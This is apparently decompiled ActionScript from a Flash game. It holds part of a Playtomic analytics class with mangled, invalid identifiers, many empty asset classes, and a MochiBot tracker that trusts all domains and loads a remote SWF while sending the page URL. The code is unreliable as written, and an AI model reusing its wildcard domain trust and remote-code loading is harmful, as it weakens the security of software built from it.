'.push(_arg1);
};
5!(((("lc/" + ^!(_arg1)) + "/") + ^!(_arg2)));
}
public static function @(_arg1:String, _arg2, _arg3:int, _arg4:Boolean=false):void{
if (!""){
return;
};
if (_arg4){
if (3.indexOf(_arg1) > -1){
return;
};
3.push(_arg1);
};
5!(((((("lr/" + ^!(_arg1)) + "/") + ^!(_arg2)) + "/") + _arg3));
}
public static function ]!(_arg1:String, _arg2, _arg3:int, _arg4:Boolean=false):void{
if (!""){
return;
};
if (_arg4){
if (;.indexOf(_arg1) > -1){
return;
};
;.push(_arg1);
};
5!(((((("la/" + ^!(_arg1)) + "/") + ^!(_arg2)) + "/") + _arg3));
}
public static function !(_arg1:String, _arg2:String, _arg3:String, _arg4:int, _arg5:int, _arg6:int):void{
if (!""){
return;
};
5!(((((((((((("l/" + ^!(_arg2)) + "/") + ^!(_arg3)) + "/") + ^!(_arg1)) + "/") + _arg4) + "/") + _arg5) + "/") + _arg6));
}
public static function 3"():void{
2! = true;
}
public static function ,!():void{
2! = false;
+".%(3!);
}
public static function [!():void{
if (!""){
return;
};
+".5!();
+" = .0"();
if (3!.length > 0){
+".%(3!);
};
}
private static function 5!(_arg1:String, _arg2:Boolean=false):void{
if (2!){
3!.push(_arg1);
return;
};
+".2"(_arg1);
if (((((+".-) || (_arg2))) || (!(2")))){
+".5!();
+" = .0"();
};
}
private static function ^!(_arg1:String):String{
while (_arg1.indexOf("/") > -1) {
_arg1 = _arg1.replace("/", "\\");
};
while (_arg1.indexOf("~") > -1) {
_arg1 = _arg1.replace("~", "-");
};
return (escape(_arg1));
}
private static function !(_arg1:String):int{
if (@!.data[_arg1] == undefined){
return (0);
};
return (int(@!.data[_arg1]));
}
private static function ?(_arg1:String, _arg2:int):void{
var _local3:SharedObject = SharedObject.getLocal("swfstats");
_local3.data[_arg1] = _arg2.toString();
_local3.flush();
}
private static function ,"(_arg1:String):String{
var url:String;
var defaulturl = _arg1;
if (ExternalInterface.available){
try {
url = String(ExternalInterface.call("window.location.href.toString"));
} catch(s:Error) {
url = defaulturl;
};
} else {
if ((((defaulturl.indexOf("http://") == 0)) || ((defaulturl.indexOf("https://") == 0)))){
url = defaulturl;
};
};
if ((((((url == null)) || ((url == "")))) || ((url == "null")))){
if ((((Security.sandboxType == "localWithNetwork")) || ((Security.sandboxType == "localTrusted")))){
url = "http://local-testing/";
} else {
url = null;
};
};
return (escape(url));
}
}
}//package Playtomic
Section 119
//cra_100_cl (cra_100_cl)
package {
import flash.display.*;
public dynamic class cra_100_cl extends MovieClip {
}
}//package
Section 120
//cra_200_cl (cra_200_cl)
package {
import flash.display.*;
public dynamic class cra_200_cl extends MovieClip {
}
}//package
Section 121
//cra_300_cl (cra_300_cl)
package {
import flash.display.*;
public dynamic class cra_300_cl extends MovieClip {
}
}//package
Section 122
//cra_500_cl (cra_500_cl)
package {
import flash.display.*;
public dynamic class cra_500_cl extends MovieClip {
}
}//package
Section 123
//cra_5000_cl (cra_5000_cl)
package {
import flash.display.*;
public dynamic class cra_5000_cl extends MovieClip {
}
}//package
Section 124
//damok_cl (damok_cl)
package {
import flash.display.*;
public dynamic class damok_cl extends MovieClip {
}
}//package
Section 125
//damok_cl2 (damok_cl2)
package {
import flash.display.*;
public dynamic class damok_cl2 extends MovieClip {
}
}//package
Section 126
//damok_cl3 (damok_cl3)
package {
import flash.display.*;
public dynamic class damok_cl3 extends MovieClip {
}
}//package
Section 127
//defeat_cl (defeat_cl)
package {
import flash.display.*;
public dynamic class defeat_cl extends MovieClip {
public var again_bt:SimpleButton;
public var home_bt:SimpleButton;
}
}//package
Section 128
//fakel_cl (fakel_cl)
package {
import flash.display.*;
public dynamic class fakel_cl extends MovieClip {
}
}//package
Section 129
//fakel_cl2 (fakel_cl2)
package {
import flash.display.*;
public dynamic class fakel_cl2 extends MovieClip {
}
}//package
Section 130
//fire_cl (fire_cl)
package {
import flash.display.*;
public dynamic class fire_cl extends MovieClip {
}
}//package
Section 131
//gro_zv (gro_zv)
package {
import flash.media.*;
public dynamic class gro_zv extends Sound {
}
}//package
Section 132
//grom1_zv (grom1_zv)
package {
import flash.media.*;
public dynamic class grom1_zv extends Sound {
}
}//package
Section 133
//grom2_zv (grom2_zv)
package {
import flash.media.*;
public dynamic class grom2_zv extends Sound {
}
}//package
Section 134
//grom3_zv (grom3_zv)
package {
import flash.media.*;
public dynamic class grom3_zv extends Sound {
}
}//package
Section 135
//grom4_zv (grom4_zv)
package {
import flash.media.*;
public dynamic class grom4_zv extends Sound {
}
}//package
Section 136
//grom5_zv (grom5_zv)
package {
import flash.media.*;
public dynamic class grom5_zv extends Sound {
}
}//package
Section 137
//grom6_zv (grom6_zv)
package {
import flash.media.*;
public dynamic class grom6_zv extends Sound {
}
}//package
Section 138
//grom7_zv (grom7_zv)
package {
import flash.media.*;
public dynamic class grom7_zv extends Sound {
}
}//package
Section 139
//grom8_zv (grom8_zv)
package {
import flash.media.*;
public dynamic class grom8_zv extends Sound {
}
}//package
Section 140
//hero_cl (hero_cl)
package {
import flash.display.*;
public dynamic class hero_cl extends MovieClip {
public var telo:MovieClip;
public function hero_cl(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package
Section 141
//ki1 (ki1)
package {
import flash.media.*;
public dynamic class ki1 extends Sound {
}
}//package
Section 142
//ki2 (ki2)
package {
import flash.media.*;
public dynamic class ki2 extends Sound {
}
}//package
Section 143
//ki3 (ki3)
package {
import flash.media.*;
public dynamic class ki3 extends Sound {
}
}//package
Section 144
//ki4 (ki4)
package {
import flash.media.*;
public dynamic class ki4 extends Sound {
}
}//package
Section 145
//ki5 (ki5)
package {
import flash.media.*;
public dynamic class ki5 extends Sound {
}
}//package
Section 146
//ki6 (ki6)
package {
import flash.media.*;
public dynamic class ki6 extends Sound {
}
}//package
Section 147
//ki7 (ki7)
package {
import flash.media.*;
public dynamic class ki7 extends Sound {
}
}//package
Section 148
//KINUL_zv (KINUL_zv)
package {
import flash.media.*;
public dynamic class KINUL_zv extends Sound {
}
}//package
Section 149
//MochiBot (MochiBot)
package {
import flash.display.*;
import flash.net.*;
import flash.system.*;
public dynamic class MochiBot extends Sprite {
public static function track(_arg1:Sprite, _arg2:String):MochiBot{
var _local3:MochiBot;
var _local4:String;
var _local5:URLVariables;
var _local6:String;
var _local7:URLRequest;
var _local8:Loader;
if (Security.sandboxType == "localWithFile"){
return (null);
};
_local3 = new (MochiBot);
_arg1.addChild(_local3);
Security.allowDomain("*");
Security.allowInsecureDomain("*");
_local4 = "http://core.mochibot.com/my/core.swf";
_local5 = new URLVariables();
_local5["sb"] = Security.sandboxType;
_local5["v"] = Capabilities.version;
_local5["swfid"] = _arg2;
_local5["mv"] = "8";
_local5["fv"] = "9";
_local6 = _local3.root.loaderInfo.loaderURL;
if (_local6.indexOf("http") == 0){
_local5["url"] = _local6;
} else {
_local5["url"] = "local";
};
_local7 = new URLRequest(_local4);
_local7.contentType = "application/x-www-form-urlencoded";
_local7.method = URLRequestMethod.POST;
_local7.data = _local5;
_local8 = new Loader();
_local3.addChild(_local8);
_local8.load(_local7);
return (_local3);
}
}
}//package
Section 150
//muz (muz)
package {
import flash.media.*;
public dynamic class muz extends Sound {
}
}//package
Section 151
//pausa_game_cl (pausa_game_cl)
package {
import flash.display.*;
public dynamic class pausa_game_cl extends MovieClip {
public var again_bt:SimpleButton;
public var resume_bt:SimpleButton;
public var home_bt:SimpleButton;
}
}//package
Section 152
//pricel_cl (pricel_cl)
package {
import flash.display.*;
public dynamic class pricel_cl extends MovieClip {
}
}//package
Section 153
//rock_zv (rock_zv)
package {
import flash.media.*;
public dynamic class rock_zv extends Sound {
}
}//package
Section 154
//win_cl (win_cl)
package {
import flash.display.*;
import flash.text.*;
public dynamic class win_cl extends MovieClip {
public var next_bt:SimpleButton;
public var score_tx:TextField;
public var again_bt:SimpleButton;
public var ogon:MovieClip;
public var home_bt:SimpleButton;
}
}//package
Section 155
//wood_zv (wood_zv)
package {
import flash.media.*;
public dynamic class wood_zv extends Sound {
}
}//package